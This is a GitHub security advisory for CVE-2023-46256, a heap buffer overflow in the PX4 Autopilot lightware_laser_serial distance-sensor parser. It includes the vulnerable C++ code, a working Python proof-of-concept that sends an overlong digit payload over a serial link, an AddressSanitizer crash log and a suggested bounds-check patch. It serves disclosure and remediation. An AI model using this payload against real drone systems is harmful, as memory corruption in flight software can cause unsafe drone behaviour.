Skip to content

[REPORT] Heap Buffer Overflow Bug Found in src/drivers/distance_sensor/lightware_laser_serial/parser.cpp

Moderate
mrpollo published GHSA-5hvv-q2r5-rppw Oct 30, 2023

Package

No package listed

Affected versions

<=1.14.0-rc1

Patched versions

None

Description

Summary

We identified a heap buffer overflow vulnerability in the parser function due to the absence of parserbuf_index value checking.
Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.

We have investigated by the following process.

  1. We enabled the lightware_laser_serial driver.
  2. We wrote the arbitrary input to readbuf buffer used in lightware_laser_serial::collect function.
  3. The heap buffer overflow vulnerability had triggered in the lightware_parser function when it parses the data.

When we send the following data, it can trigger the vulnerability.

payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

Details

  1. We first assumed that we can write the arbitrary input into readbuf. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.

    int ret = ::read(_fd, &readbuf[0], readlen);
  2. After then, it calls lightware_parser function to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.

    if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
    • readbuf: 10 bytes sized buffer
    • _linebuf: LightwareLaserSerial object’s 10 bytes sized buffer
    • _linebuf_index: LightwareLaserSerial object’s sizeof(unsigned) sized the index of _linebuf
    • _parse_state: state information ( initial value: LW_PARSE_STATE0_UNSYNC )
    • distance_m: distance value
  3. In the lightware_parser function, LW_PARSE_STATE2_GOT_DIGIT0 state can be repeated unexpectedly without proper parserbuf_index or state checking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of an unsigned int

    int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
    {
    	int ret = -1;
    	char *end;
    
    	switch (*state) {
    	case LW_PARSE_STATE0_UNSYNC:               
    		if (c == '\n') {
    			*state = LW_PARSE_STATE1_SYNC;         <--- [1]
    			(*parserbuf_index) = 0;
    		}
    
    		break;
    
    	case LW_PARSE_STATE1_SYNC:                 
    		if (c >= '0' && c <= '9') {
    			*state = LW_PARSE_STATE2_GOT_DIGIT0;   <--- [2]
    			parserbuf[*parserbuf_index] = c;       
    			(*parserbuf_index)++;
    		}
    
    		break;
    
    	case LW_PARSE_STATE2_GOT_DIGIT0:           
    		if (c >= '0' && c <= '9') {
    			*state = LW_PARSE_STATE2_GOT_DIGIT0;   <--- [3]
    			parserbuf[*parserbuf_index] = c;
    			(*parserbuf_index)++;
    
    		} else if (c == '.') {
    			*state = LW_PARSE_STATE3_GOT_DOT;
    			parserbuf[*parserbuf_index] = c;
    			(*parserbuf_index)++;
    
    		} else {
    			*state = LW_PARSE_STATE0_UNSYNC;
    		}
    
    		break;
    
    		//ommited
    }
    • After changing the state as [1] → [2] → [3], it repeats the state as LW_PARSE_STATE2_GOT_DIGIT0 during the parsing data.
      The problematic situation is caused by the absence of the proper parserbuf_index checking.

PoC

Environment setting

  1. Create serial interfaces by socat -d -d pty,raw,echo=0 pty,raw,echo=0 command.
    1. In our case, serial interfaces was created on /dev/pts/2 and /dev/pts/4. The number of serial interfaces can be different on environment.
  2. Enable lightware_laser_serial driver by make px4_sitl boardconfig command.
    1. drivers → distance sensors → lightware_laser_serial
  3. Execute SITL by HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsim command.
  4. On the pxh prompt, start lightware_laser_serial driver module by lightware_laser_serial start -d /dev/pts/2 command.
  5. Execute the PoC code as below.

We have tested on Ubuntu 22.04.3 LTS.

PoC Code

import serial
import time

ser = serial.Serial('/dev/pts/4')
if ser.isOpen():
    print('Connection success')
else:
    print('Connection failed')
    exit()

payload = b'\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

try:
    ser.write(payload)
    print(f'Sent: {payload}')
except Exception as e:
    print(f'Error: {e}')

finally:
    ser.close()
    print('Connection closed')

Address Sanitizer Log

image

=================================================================
==79396==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000018240 at pc 0x561dbb3c24aa bp 0x7f76e1b724f0 sp 0x7f76e1b724e0
WRITE of size 1 at 0x611000018240 thread T142
    #0 0x561dbb3c24a9 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87
    #1 0x561dbb3c128f in LightwareLaserSerial::collect() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222
    #2 0x561dbb3c1527 in LightwareLaserSerial::Run() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:319
    #3 0x561dbbc34096 in px4::WorkQueue::Run() /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueue.cpp:188
    #4 0x561dbbc34f52 in WorkQueueRunner /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:238
    #5 0x7f76e4e94ac2 in start_thread nptl/pthread_create.c:442
    #6 0x7f76e4f26a3f  (/lib/x86_64-linux-gnu/libc.so.6+0x126a3f)

0x611000018240 is located 0 bytes to the right of 256-byte region [0x611000018140,0x611000018240)
allocated by thread T0 here:
    #0 0x7f76e60b61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99
    #1 0x561dbb3c0466 in start /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:57
    #2 0x561dbb3c0466 in lightware_laser_serial_main /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:158
    #3 0x561dbbc50307  (/home/zeroone/PX4-Autopilot/build/px4_sitl_default/bin/px4+0x9f6307)

Thread T142 created by T5 here:
    #0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
    #1 0x561dbbc35620 in WorkQueueManagerRun /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:324

Thread T5 created by T0 here:
    #0 0x7f76e6058685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
    #1 0x561dbbc30041 in px4_task_spawn_cmd /home/zeroone/PX4-Autopilot/platforms/posix/src/px4/common/tasks.cpp:252

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*)
Shadow bytes around the buggy address:
  0x0c227fffaff0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x0c227fffb000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c227fffb010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c227fffb020: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c227fffb030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fffb040: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
  0x0c227fffb050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fffb060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fffb070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fffb080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c227fffb090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==79396==ABORTING

Recommended Patch

int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist)
{
	int ret = -1;
	char *end;

	switch (*state) {
	case LW_PARSE_STATE0_UNSYNC:
		if (c == '\n') {
			*state = LW_PARSE_STATE1_SYNC;         
			(*parserbuf_index) = 0;
		}

		break;

	case LW_PARSE_STATE1_SYNC:
		if (c >= '0' && c <= '9') {
			*state = LW_PARSE_STATE2_GOT_DIGIT0;
			parserbuf[*parserbuf_index] = c;       
			(*parserbuf_index)++;
		}

		break;

	case LW_PARSE_STATE2_GOT_DIGIT0:
		if (c >= '0' && c <= '9') {
			if ( *parserbuf_index > 6 ) {        <--- [1] should not be bigger than 6
				*state = LW_PARSE_STATE0_UNSYNC;  

			}else {
				*state = LW_PARSE_STATE2_GOT_DIGIT0;
				parserbuf[*parserbuf_index] = c;
				(*parserbuf_index)++;
			}

		} else if (c == '.') {
			*state = LW_PARSE_STATE3_GOT_DOT;
			parserbuf[*parserbuf_index] = c;
			(*parserbuf_index)++;

		} else {
			*state = LW_PARSE_STATE0_UNSYNC;
		}

		break;

		//ommited
}
  • After the state becomes LW_PARSE_STATE2_GOT_DIGIT0, the increment operation of parserbuf_index can be done 3 times. Considering the size of readline is 10 bytes, the parserbuf_index value shouldn’t be bigger than 9.
  • So, we recommend to patch by adding a checking logic whether parserbuf_index is bigger than 6. If parserbuf_index value is bigger than 6, the state must be initialized with LW_PARSE_STATE0_UNSYNC.

Impact

  • A malfunction of the sensor device can cause a heap buffer overflow with leading unexpected drone behavior.
  • Malicious applications can exploit the vulnerability even if device sensor malfunction does not occur.
  • Up to maximum value of an unsigned int bytes sized data can be written to the heap memory area.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:L

CVE ID

CVE-2023-46256

Weaknesses

Credits